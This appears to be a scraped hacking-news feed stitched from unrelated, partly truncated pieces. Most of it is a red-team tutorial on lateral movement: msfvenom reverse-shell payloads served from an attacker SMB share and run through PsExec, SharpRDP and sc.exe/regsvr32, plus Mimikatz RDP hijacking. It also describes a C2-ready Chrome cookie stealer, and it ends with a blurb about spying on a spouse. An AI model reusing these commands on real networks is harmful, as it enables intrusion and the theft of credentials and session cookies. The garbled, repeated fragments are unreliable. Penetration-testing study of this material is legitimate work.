Hacking Articles|Raj Chandel's Blog
Lateral Movement: Remote Services (Mitre:T1021)

IntroductionDuring Red Team assessments, after a compromise has been done, attackers tend to laterally move through the network gaining more relevant information on other systems. This lateral movement is possible through the use of many binaries/services/processes. In this article we will be solely focusing on Lateral Movement using Remote Services, i.e., services that can help in code/command execution on remote systems by taking in valid set of credentials. Oftentimes, same set of credentials are used within organization and this type of lateral movement becomes very easy and effective.T1021.001, T1021.002, T1021.003, T1021.004, T1021.005, T1021.006)Table of content· Background· Understanding Attack Lab· Lateral Movement through RDP (T1021.001)· RDP Hijacking using Task Manager· RDP Hijacking using Tscon· RDP Hijacking using Mimikatz· SharpRDP Authenticated Code Execution· Lateral Movement through SMB (T1021.002)· PsExec SMB RCE· Sc.exe process creation· Metasploit SMB Remote PsExec· Cmd.exe SMB RCE· SharpMove.exe SMB RCE· Lateral Movement through DCOM (T1021.003)· Mmc20.application remote DCOM· Lateral Movement through SSH (T1021.004)· SSH Port Forwarding· Lateral Movement through VNC (T1021.005)· VNCinject payload· Lateral Movement through WinRM (T1021.006)· New-PSSession Powershell· Invoke-Command Powershell· Winrs· Evil-Winrm· Lateral Movement through Mimikatz· Lateral Movement through WMI· Lateral Movement through Invoke-WmiMethod· ConclusionLateral movement is very helpful in gathering more data by compromising more systems rather than relying on just a single system to gain higher privileges and eventually compromise entire network.Understanding Attack LabFor the article I have two setups in hand. One is an Active Directory setup with the domain “ignite.local” and the other is simple 2 windows devices connected on bridged with a Kali system in a non-domain environment. The details are as follows:Lateral Movement through RDP (T1021.001)According to Microsoft, RDP is based on, and is an extension of, the T-120 family of protocol standards. [...]

___________________________
@hacking_Attack
@Hacking_Video

A multichannel capable protocol allows for separate virtual channels for carrying the following information:RDP Hijacking using Task ManagerWhen you connect to a user “Administrator” and open task manager-> go to users-> you’d see this if a user “hex” is signed out currently but exists.RDP Hijacking using Tscontscon is a Microsoft Windows utility that was introduced the release of Windows Server 2012. It is used to connect to another session on a Remote Desktop Session Host server. It requires the destination and the session id to work. The User credentials can also be passed as parameter in tscon. Read more about it here.whoami tscon 3 /DEST:rdp-tcp#9https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR326WYaKMMD0mTHM4wdWejoNGaDT05rM3T8J2rSzJgpwuI7mqL-UI1jHe7AOg643hyK2bB9ieuGEpx92_RSu849B-T90AEh6upm6XkYMXhPlf-WIMeQtg3wUrN5AVyA6KJ-axFr_Ix4KG5jM5HXQIJ2dNtB2eMANxO0j98C7S-tki05FEo-3L0gehQw/s16000/5.png It will immediately open a new user “hex” in the same Remote Desktop Connection! This can be verified by whoamiRDP Hijacking using MimikatzMimikatz includes a module “ts” to play with RDP sessions. It is an implementation of tscon only with added features of mimikatz. We can see active user sessions usingts::sessionshttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXUsKIuox50VQD0kpqSvOqqw0zP1zEp2mFxHtH1p_GizC0Q-bFTR_9kpn9kdaYY_ZmkPEf2F_j7v4RisWVsocc6oqpXsFKkcNfK3H3sNBoc6iVs7MtB6Z8yCGAZ8uFvrl4rIEiBsCdTnOIrAsA9GYqsWBVU-AEeaGuYwBwO4eX5ADaddiSO_UsyGh-Tw/s16[...]

___________________________
@hacking_Attack
@Hacking_Video

000/7.png We have a disconnected user hex on session ID 3. Let’s connect to it. What we did using psexec, mimikatz does it automatically by using token impersonation to elevate privileges.privilege::debughttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4JX5G2XMtXbPPgEt7WW9un2I5tQ2hZwtX6YxXhk20HDIptBpKPMMlIOCci4XHxo4aoE_F_PhF48e0f58jU0bcOSidHC1qg8EvaGuouO55qq1mPYDNrRH-n_6yH6PnyUJhHH4XdHKYyfXnCZUlxi5rZ6lJEkQtakQAbexMM7HMk1mkj7RPLlLacgzt8w/s16000/8.png And then you’d be presented with user “hex’s” remote desktop!SharpRDP Authenticated Command Execution0xthirteen developed the SharpRDP tool which provides various methods and techniques for authenticated command execution using RDP as a service. This method won’t include hijacking over remote sessions, rather, using logon information to provide code execution. It does so this by utilising COM library and mstscax.dll. Read more here.msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggHg_X5dOHz3Hkk3bYo_sMTyXVHhRVHlnJnmpqcdtBqODAAaVXsQHTsKH-tQ7p5h4lLx5Vxe92QE7u_9PMHqTWm3VXIDT_dZygPUeFOeGtsyk0H3BLXNOBL1be-5kR2_6TXOrNWLvcFnl-EuMRaBuBop-NzRQ4k5iFhRUxU-stybBI69zMkJ5I6JjG9Q/s16000/9.png Next, we will host this file in our SMB share. We can set up a share manually or use Impacket’s smbserver to set up a temporary share with the name “sharename”smbserver.py sharename /roothttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9bh_H1wrY8lbGBSQlWoJhmGqfSiWinQDehTPaidsqrJOkuyKFUR1qtU75SX46Cr1Y-2q8f11oDqc7FZoaD7F3gf61uT05M7542XN38NwV7aF4rNWfd7O10Kxvu73Un7a1rx70ljvnUxkrwVQBSoaNnk9dLVEMYcNFuwx2ELwjbf_3eGcihqPgx_yIQ/s16000/10.png Now, using the credentials available to us of a remote user Administrator, we can use SharpRDP to execute this EXE file by providing in the UNC Path belowSharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf49V7jMLReod22fWKQ8vsDNG2Lj4TQFCqYAAFFN-JFwN3Avd3E-MRePegVtOFx84Vn4Qi5tZWAJ38d4-gQM2p9-RSFd2CdQXjaXTcEUM6y3XAUcuN66yw_AGgwllvl5PQ4svnbNO2RRhxWymZB5otyMGf52_vTJQ-LVl_QG0HQ7wmtAp5Q90CyNoRbQ/s16000/11.png As you can see, the remote server hit our SMB Server and fetched the fileLateral Movement through SMB (T1021.002)SMB is one of the most widely used network protocol that allows users communicate with remote systems across a network. Generally, it is used for sharing files, printers but by utilising writeable shares, it can be used to conduct command execution, and eventually lateral movement. PsExec SMB RCEMany tools like psexec utilise SMB to conduct authenticated command execution. According to Microsoft, “PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.” First, let’s use impacket’s smbserve[...]

___________________________
@hacking_Attack
@Hacking_Video

r to create a local SMB share that will host our malicious file. This file will eventually be written on remote systems and executed to gain movement.smbserver.py sharename /roothttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTTSqg15bXzN38wDkE-5LIjGbkGTX7uLFI1YkUY_qrKr6FT1-x6NBd3vte1rCXPf97uPje18Z6dnmV93L5iqxIWeE7PATbuuxxQ66aoDV2JJNvErk13QtV26_C_Dxm98mfJxKnb5pBK1KCXFgreu4UG3CM5vXWKmJtCfgLx1XS5S36lZZk-458Rw2Ufw/s16000/15.png Thereafter, we will now create a malicious file using msfvenommsfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoEybnTFs0zgFlm6dIHN-MiHo2NSj7RZBwIUNYPM4didelZ8JZ1avkfmBhnxSwbvoGfcsNz23oY4TWGBam5sfKQI3grbwz1KGXYHBco00T6MtmBJmFWTGT-bdZJeCah_GsT9CqXq2NMUo7XNhFfYUl5Bda02eWgdj5kye8wZ4HvLZsOrNmU9YKQR_oHQ/s16000/16.png Now, we will use the compromised system and upload psexec64.exe in it. Then, we will use the following command to launch our malicious file in the host specified.psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exehttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakf4I9DoJkuGi_WnH76nxMfDzb9B7js8XXBgukLBIAGCjW9XtP6YfJ9zaUo3UFVghONQtUTiutfMIJOxcxJdDZjq6deQzxAQTppqqMa59uEADJVfBI6IhYDzajEYNosz--yW3EM6EnEk9OG8HrNsf9s41V1H2tSLmwWVx8FziQEpX97FutHad09_lyA/s16000/17.png As you can see, hex has reached our smb share and fetched the fileSc.exe process creationsc.exe is a command-line tool which comes bundled with Windows and offers the functionality to maintain and administer Windows NT services. This is a non-essential system process, however it can be used to create processes and execute DLLs in them. Here, we will create a process “ignite” and use regsvr method to define the executing DLL within that process.use exploit/multi/script/web_deliveryhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwx0Fj0Scnu-7dVKa_korORxjkyG2IEyE_TpwU-j3YHyHLCmUJl0LTlTJ74E1sJLeH2GUhoddNdR0dXQ8-nG7BgPcBSWCPAvgApPqGH_auMqe1OG6DLwI1s173PD7fOfBroLML1LBgA85eUWle8TuPaKSwVc0D6uMoXYYdKdz38_e9BvjWmNFXFwUw_w/s16000/20.png Now, the regsvr code that we obtained can be included within the sc.exe binpath command. The following command creates a process ignite with the above code in it. It then starts the same. Please note that “DESKTOP-9GSGKO9” is the destination windows system, where the code is to be executed.sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZW8puxBbpVODwXt0z4gIJZoiGZdnJxd_3WV4ucEnvGdrRY40en5yfGXCJ2CMIKpjfKkjxbCHJMw8ouN_MtKOxexpYBVZTY5L376clTIv4ykn397y2UqqyVii2m0XVEGYPenhUDoLC1-IZbAnXezRTmNrmd8YojNgV2-EYv8_3Y4rkvV1jH9hrXZsDIw/s16000/21.png As you can see, a service start failed error has been obtained but that is because the DLL we provided isn’t a valid one. It would still execute our DLL and give us a reverse shell! Here, we had the Admin authority ove[...]

___________________________
@hacking_Attack
@Hacking_Video

Hacking Articles|Raj Chandel's Blog
Lateral Movement: Remote Services (Mitre:T1021)

___________________________
@hacking_Attack
@Hacking_Video

VulnHub Walkthrough’s : BOX 1

Vulnhub Walkthrough — Basic Pentesting 1 BoxContinue reading on Medium »
Read more...

VulnHub Walkthrough’s : BOX 1
https://medium.com/@adeesh08/vulnhub-walkthroughs-box-1-7b633b898a1f?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Vulnhub Walkthrough — Basic Pentesting 1 BoxContinue reading on Medium » (https://medium.com/@adeesh08/vulnhub-walkthroughs-box-1-7b633b898a1f?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Solution to my $20 egg hunt (Part 3)

My latest article gave a significant hint towards solving the $20 challenge. This one will help you a few steps further…Continue reading on Medium »
Read more...

Kali Linux Tutorials
Sharp Cookie Monster : Extracts Cookies From Chrome

Sharp Cookie Monster is a Sharp port of @defaultnamehere’s cookie-crimes module – full credit for their awesome work!

This C# project will dump cookies for all sites, even those with http Only/secure/session flags.

Usage

Simply run the binary.

SharpCookieMonster.exe [https://sitename.com] [chrome-debugging-port] [user data dir]

An optional first argument sepcifies the site that chrome will initially connect to when launched (default https://www.google.com).

An optional second argument specifies the port to launch the chrome debugger on (by default 9142).

Finally, an optional third argument specifies the path to the user data directory, which can be overridden in order to access different profiles etc (default %APPDATALOCAL%\Google\Chrome\User Data).

Building

The binary has been built to be compatible with .NET 3.5 in order to be compatible with victims with older versions of .NET installed. However in order to use WebSockets to communicate with Chrome the WebSocket4Net package was added.

If you want to run this down C2 such as using PoshC2’s sharpcookiemonstercommand or via CobaltStrike’s execute-assemblythen use ILMerge to merge the built executable with the WebSocket4Net.dll library.

First rename the original binary then run:

ILMerge.exe /targetplatform:”v2,C:\Windows\Microsoft.NET\Framework\v2.0.50727″ /out:SharpCookieMonster.exe SharpCookieMonsterOriginal.exe WebSocket4Net.dll
Download

Kali Linux Tutorials
Talisman : By Hooking Talisman Validates The Outgoing Changeset For Things That Look Suspicious

Talisman is a tool that installs a hook to your repository to ensure that potential secrets or sensitive information do not leave the developer’s workstation.

It validates the outgoing changeset for things that look suspicious – such as potential SSH keys, authorization tokens, private keys etc. InstallationTalisman supports MAC OSX, Linux and Windows.

Talisman can be installed and used in one of the following ways:

* As a git hook as a global git hook template and a CLI utility (for git repo scanning)
* As a git hook into a single git repository

Talisman can be set up as either a pre-commit or pre-push hook on the git repositories.

Find the instructions below.

Disclaimer: Secrets creeping in via a forced push in a git repository cannot be detected by Talisman. A forced push is believed to be notorious in its own ways, and we suggest git repository admins to apply appropriate measures to authorize such activities. [Recommended approach]Installation as a global hook templateWe recommend installing Talisman as a pre-commit git hook template, as that will cause Talisman to be present, not only in your existing git repositories, but also in any new repository that you ‘init’ or ‘clone’.

* Run the following command on your terminal, to download and install the binary at $HOME/.talisman/bin

As a pre-commit hook:

curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/install.bash > /tmp/install_talisman.bash && /bin/bash /tmp/install_talisman.bash

OR

As a pre-push hook:

curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/install.bash > /tmp/install_talisman.bash && /bin/bash /tmp/install_talisman.bash pre-push

* If you do not have TALISMAN_HOME set up in your $PATH, you will be asked an appropriate place to set it up. Choose the option number where you set the profile source on your machine.

Remember to execute source on the path file or restart your terminal. If you choose to set the $PATHlater, please export TALISMAN_HOME=$HOME/.talisman/bin to the path.

* Choose a base directory where Talisman should scan for all git repositories, and setup a git hook (pre-commit or pre-push, as chosen in step 1) as a symlink. This script will not clobber pre-existing hooks. If you have existing hooks, look for ways to chain Talisman into them.

* you can set SEARCH_ROOT environment variable with the path of the base directory before executing the installation so you don’t need to input it manually during the installation Handling existing hooksInstallation of Talisman globally does not clobber pre-existing hooks on repositories.
If the installation script finds any existing hooks, it will only indicate so on the console.
To achieve running multiple hooks we suggest (but not limited to) the following two tools

* Pre-commit (Linux/Unix)

Use pre-commit tool to manage all the existing hooks along with Talisman. In the suggestion, it will prompt the following code to be included in .pre-commit-config.yaml

repo: local
hooks:
id: talisman-precommit
name: talisman
entry: bash -c ‘if [ -n “${TALISMAN_HOME:-}” ]; then ${TALISMAN_HOME}/talisman_hook_script pre-commit; else echo “TALISMAN does not exist. Consider installing from https://github.com/thoughtworks/talisman . If you already have talisman installed, please ensure TALISMAN_HOME variable is set to where talisman_hook_script resides, for example, TALISMAN_HOME=${HOME}/.talisman/bin”; fi’
language: system
pass_filenames: false
types: [text]
verbose: true

* Husky (Linux/Unix/Windows)

husky is an npm module for managing git hooks. In order to use husky, make sure you have already set TALISMAN_HOME to $PATH.

* Existing Users

If you already a[...]

re using husky, add the following lines to husky pre-commit in package.json Windows

“bash -c ‘\”%TALISMAN_HOME%\${TALISMAN_BINARY_NAME}\” –githook pre-commit'”

Linux/Unix

$TALISMAN_HOME/talisman_hook_script pre-commit

* New Users

If you want to use husky with multiple hooks along with talisman, add the following snippet to you package json. Windows

{
“husky”: {
“hooks”: {
“pre-commit”: “bash -c ‘\”%TALISMAN_HOME%\${TALISMAN_BINARY_NAME}\” –githook pre-commit'” && “other-scripts”
}
}

Linux/Unix

{
“husky”: {
“hooks”: {
“pre-commit”: “$TALISMAN_HOME/talisman_hook_script pre-commit” && “other-scripts”
}
}
} Installation to a single project#Download the talisman installer script
curl https://thoughtworks.github.io/talisman/install.sh > ~/install-talisman.sh
chmod +x ~/install-talisman.sh

#Install to a single project
cd my-git-project
as a pre-push hook
#~/install-talisman.sh
or as a pre-commit hook
#~/install-talisman.sh pre-commit Handling existing hooksTalisman will need to be chained with any existing git hooks.You can use pre-commit git hooks framework to handle this.

Add this to your .pre-commit-config.yaml(be sure to update revto point to a real git revision!)

repo: https://github.com/thoughtworks/talisman
rev: ” # Update me!
hooks:
either commitor pushsupport
id: talisman-commit
id: talisman-push UpgradingSince release v0.4.4, Talisman automatically updates the binary to the latest release, when the hook is invoked (at pre-commit/pre-push, as set up). So, just sit back, relax, and keep using the latest Talisman without any extra efforts.

The following environment variables can be set:

* TALISMAN_SKIP_UPGRADE: Set to true if you want to skip the automatic upgrade check. Default is false
* TALISMAN_UPGRADE_CONNECT_TIMEOUT: Max connect timeout before the upgrade is cancelled(in seconds). Default is 10 seconds.

If at all you need to manually upgrade, here are the steps:
[Recommended] Update Talisman binary and hook scripts to the latest release:

curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/update_talisman.bash > /tmp/update_talisman.bash && /bin/bash /tmp/update_talisman.bash

Update only Talisman binary by executing:

curl –silent https://raw.githubusercontent.com/thoughtworks/talisman/master/global_install_scripts/update_talisman.bash > /tmp/update_talisman.bash && /bin/bash /tmp/update_talisman.bash talisman-binary Talisman in actionAfter the installation is successful, Talisman will run checks for obvious secrets automatically before each commit or push (as chosen during installation). In case there are any security breaches detected, talisman will display a detailed report of the errors:

$ git push
Talisman Report:
+—————–+——————————————————————————-+
| FILE | ERRORS |
+—————–+——————————————————————————-+
| danger.pem | The file name “danger.pem” |
| | failed checks against the |
| | pattern ^.+.pem$ |
+—————–+——————————————————————————-+
| danger.pem | Expected file to not to contain hex encoded texts such as: |
| | awsSecretKey=c64e8c79aacf5ddb02f1274db2d973f363f4f553ab1692d8d203b4cc09692f79 |
+—————–+——————————————————————————-+

In the above example, the file danger.pem has been flagged as a security breach due to the following reasons:

* The filename matches one of the pre-configured patterns.
* The file contains an awsSecretKey which is scanned and flagged by Talisman

If you have installed Talisman as a pre-commit hook, it will scan only the diff within each commit. This means that it would only report errors for parts of the file that were changed.

In case you have installed Talisman as a pre-push hook, it will scan the complete file in which changes are made. As mentioned above, it is recommended that you use Talisman as a pre-commit hook. ValidationsThe following detectors execute against the changesets to detect secrets/sensit[...]

Solution to my $20 egg hunt (Part 3)
https://ethr.medium.com/solution-to-my-20-egg-hunt-part-3-705baa900df5?source=rss------bug_bounty-5

My latest article gave a significant hint towards solving the $20 challenge. This one will help you a few steps further…Continue reading on Medium » (https://ethr.medium.com/solution-to-my-20-egg-hunt-part-3-705baa900df5?source=rss------bug_bounty-5)

Hacking on Medium
VulnHub Walkthrough’s : BOX 1

https://cdn-images-1.medium.com/max/1000/1*9ySzR89nWySWx0LlSNvgfw.png
Vulnhub Walkthrough — Basic Pentesting 1 Box

Continue reading on Medium »

Hacking on Medium
How do you spy on a cheating spouse?

https://cdn-images-1.medium.com/max/1920/1*cUMUnRXhB0t9u-YIE3ED3g.jpeg
Cheating in a relationship can be caused by many different things. Some people may cheat because they are not satisfied with their current…

Continue reading on Medium »